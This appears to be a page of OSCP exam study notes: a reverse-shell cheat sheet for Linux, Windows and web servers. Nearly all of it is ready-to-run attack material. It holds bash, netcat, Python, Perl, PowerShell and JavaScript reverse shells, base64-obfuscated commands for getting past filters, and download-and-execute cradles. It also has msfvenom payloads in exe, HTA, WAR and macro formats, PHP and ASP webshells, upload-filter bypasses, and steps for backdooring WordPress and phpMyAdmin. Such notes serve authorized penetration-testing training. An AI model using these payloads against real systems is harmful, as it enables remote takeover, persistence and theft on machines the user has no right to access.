> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/exploitation-tools/reverse-shells.md). # Reverse Shells
Staged vs Unstaged Payloads #### Staged (smaller size): ```bash linux/x64/shell/reverse_tcp ``` * must use `multi/handler` in the Metasploit console ```bash msfconsole -q set payload linux/x64/shell/reverse_tcp set lhost 192.168.100.1 set lport 443 run -j sessions session -i 1 ``` #### Unstaged (all the payload is present): ```bash linux/x64/shell_reverse_tcp ```
Bash ### Double base64 encoding (able to bypass blacklisted chars) ```bash # In attacker's Kali to generate rev shell: echo "echo $(echo 'bash -i >& /dev/tcp/10.8.0.137/443 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g' # In Victim's bash prompt: # echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNDRMakF1TVRNM0x6UTBNeUF3UGlZeENnPT0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h ```
### Note that & needs to be url-encoded to %26 for webshells ```bash /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP_ADDRESS/LISTENING_PORT 0>&1' ``` 
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP> <PORT> >/tmp/f
```bash 0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196 ``` ```bash mkfifo /tmp/lol;nc ATTACKER-IP PORT 0&1 | tee /tmp/lol ``` ### To bypass dot blacklist (eg: . is sanitized to \_ ) Convert the IP address to decimal equivalent: 
# rev on attacker
/bin/bash -c 'bash -i >& /dev/tcp/10.8.0.137/443 0>&1'

# on victim
curl http://168296585/rev | sh 
wget -O - http://192.168.45.192/rev | sh
Python 
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Perl For Windows - perl-reverse-shell.pl (Took reference from ): ```perl use Socket;$i="192.168.45.211";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR, ">&S");exec("c:\\windows\\system32\\cmd.exe");}; ``` For Linux - from [here](https://highon.coffee/blog/reverse-shell-cheat-sheet/#perl-windows-reverse-shell) ```perl use Socket;$i="192.168.45.211";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}; ```
PHP #### Webshell ```php ``` #### Simple PHP Reverse Shell for Linux ```bash & /dev/tcp/10.10.14.36/443 0>&1'"); ?> ``` #### Universal Reverse Shell * From ```bash cp /usr/share/webshells/php/universal_php_revshell.php . ``` * Can try diff extensions if there's a blacklist filtering ```bash phtml, php, php3, php4, php5, phar ``` * Can spoof MIME using Burp, change to Content-Type to`image/jpeg` ### Bypassing getimagesize, illegal ext, mime type: ```bash # simple-php-revshell.phar (image/gif mime type) GIF87a& /dev/tcp/172.17.0.1/443 0>&1'"); ?> # webshell.php.jpg echo 'FFD8FFDB' | xxd -r -p > webshell.php.jpg echo '' >> webshell.php.jpg ```
Windows ### Powershell HTA file ```sh msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=445 -f hta-psh -o evil.hta ``` ### Rev HTA Template ``` ``` ### Windows exe file ```sh msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.199 LPORT=443 -f exe -o reverse.exe ``` ### Windows powershell .ps1 file ``` msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 EXITFUNC=thread -f psh -o rev.ps1 ``` ### Nc.exe ```bash cmd.exe /c C:\Users\anirudh\desktop\nc.exe -e cmd.exe 192.168.45.5 443 ``` ### Binary file ```sh msfvenom -p windows/x64/shell_reverse_tcp LPORT=443 LHOST=192.168.0.29 --platform windows -a x64 --format raw -o sc_x64_payload.bin ```
Powershell SEE [simple\_ps\_revshell.ps1](https://n000b3r.gitbook.io/oscp-notes/exploitation-tools/pages/7NOJkRVAAckKwxMGUMr9#simple-powershell-reverse-shell-simple_ps_revshell.ps1) OR ```bash # Add to last line Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.2 -Port 443 # On Victim powershell -c "IEX((New-Object System.Net.WebClient).DownloadString('http://10.10.14.2/Invoke-PowerShellTcp.ps1'))" # On Attacker nc -lvp 443 ``` ### OR Powershell Encoded Command ```bash wget https://gist.githubusercontent.com/tothi/ab288fb523a4b32b51a53e542d40fe58/raw/40ade3fb5e3665b82310c08d36597123c2e75ab4/mkpsrevshell.py python3 mkpsrevshell.py 10.10.108.147 7777 # powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQAwADgALgAxADQANwAiACwANwA3ADcANwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA= SQL> xp_cmdshell "powershell -e JABjAGwA..." ```
Linux ```bash msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.119.160 LPORT=443 -f elf > non_staged.elf ```
Socat On Attacker: ```bash socat -d -d TCP4-LISTEN:443 STDOUT ``` On Victim: ```bash socat TCP4:10.11.0.22:443 EXEC:/bin/bash ```
JavaScript (JS) ```javascript (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(LPORT, "LHOST", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })(); ```
ASP ### Rev Shell ```bash msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=443 -f asp > rev.asp ``` ### Web Shell ```aspnet <%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%> ```
ASPX (IIS Web Server Rev Shell) ```aspnet <%@ Page Language="C#" AutoEventWireup="true" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System.Runtime.InteropServices" %> ```
Webshell to Rev Shell #### shell.sh ```bash #!/bin/bash bash -i >& /dev/tcp//1337 0>&1 ``` #### Code Execution to Rev Shell ```bash http://thetoppers.htb/shell.php?cmd=curl%20%3CYOUR_IP_ADDRESS%3E:8000/shell.sh|bash ``` ### OR #### shell.php ```php &1|nc 192.168.45.5 443 >/tmp/f'); ?> ``` #### Code Execution to Rev Shell ```bash http://192.168.242.94/index.php?page=' and die(system("curl http://192.168.45.5/shell.php|php")) or ' ```
WordPress Themes RCE Edit a theme that's not currently in use
Put in [universal php rev shell](https://raw.githubusercontent.com/ivan-sincek/php-reverse-shell/refs/heads/master/src/reverse/php_reverse_shell.php) in 404 Template (404.php)
Change attacker's IP and port on line 177
Go to [http://sandbox.local/wp-content/themes/twentytwenty/404.php](http://sandbox.local/wp-content/themes/twentynineteen/404.php) --> rev shell!
WordPress Plugin Webshell 
zip plugin-shell.zip /usr/share/seclists/Web-Shells/WordPress/plugin-shell.php
#### On WordPress admin console, plugin --> upload plugins ```bash curl http://sandbox.local/wp-content/plugins/plugin-shell/plugin-shell.php?cmd=whoami ```
Macro Docx Rev Shell ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=443 -f vba ``` Go to MS word and create a macro, put in the vba payload! The global Macro is present in `C:\Users\WQ\AppData\Roaming\Microsoft\Templates\Normal.dotm` , open with explorer to delete.
Java (WAR) Rev Shell * For uploading to Tomcat Manager Console * Will be uploaded to ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=1234 -f war -o revshell.war ``` * From ``` cp /usr/share/webshells/jsp/laikash_shell.jsp . ```
PHPMyAdmin to Rev Shell ### Obtain Document Root's location Eg From: ![](/files/1z9dqebYybPqx1pL5leX) #### Create new DB named "test", "utf8\_general\_ci" as collation --> Create ![](/files/XeeQxQSxB4MRmUhCmWEv) #### Select "test" database --> SQL tab --> enter following as SQL query --> Go ```sql SELECT "" into outfile "C:\\xampp\\htdocs\\backdoor.php" OR SELECT "" into outfile "C:\\wamp\\www\\backdoor.php" ``` [http://192.168.163.189:8080/backdoor.php?cmd=whoami
]()![](/files/jZdD1q91a2nyb2WKQqoN) ![](/files/Lslc0d4imIyqK6oninHY) ```bash ┌──(root㉿kali)-[/home/…/Documents/pg_practice/192.168.163.189/spose] └─# nc -lvp 443 listening on [any] 443 ... 192.168.163.189: inverse host lookup failed: Unknown host connect to [192.168.45.5] from (UNKNOWN) [192.168.163.189] 49746 Microsoft Windows [Version 10.0.17763.2300] (c) 2018 Microsoft Corporation. All rights reserved. C:\wamp\www>whoami whoami nt authority\system ```
MySQL If web server hosts Wordpress: * Generate new password using * Edit the previous admin password to the new password hash * Login to wp-admin and upload theme --> Rev shell ```bash mysql -h 127.0.0.1 -P 3306 -u karl -p'Wordpress1234' use wordpress; UPDATE `wp_users` SET `user_pass` = '$P$BuRIPLEa2rb.uOneg7zTBOcidtYWFG.' WHERE ID=1 ``` Able to login to * admin:P\@ssw0rd
Fully Interactive PowerShell Reverse Shell ```powershell # Victim powershell -c IEX(new-object net.webclient).downloadstring('http://192.168.45.218/Invoke-ConPtyShell.ps1'); Invoke-ConPtyShell 192.168.45.218 3001 # On Attacker's Kali stty raw -echo; (stty size; cat) | nc -lvnp 3001 ```
Batch file (.bat) Use simple\_ps\_revshell to generate the encoded powershell command
```bat %COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMwA3AC8AcgB1AG4AYQBsAGwALgBwAHMAMQAnACkA ```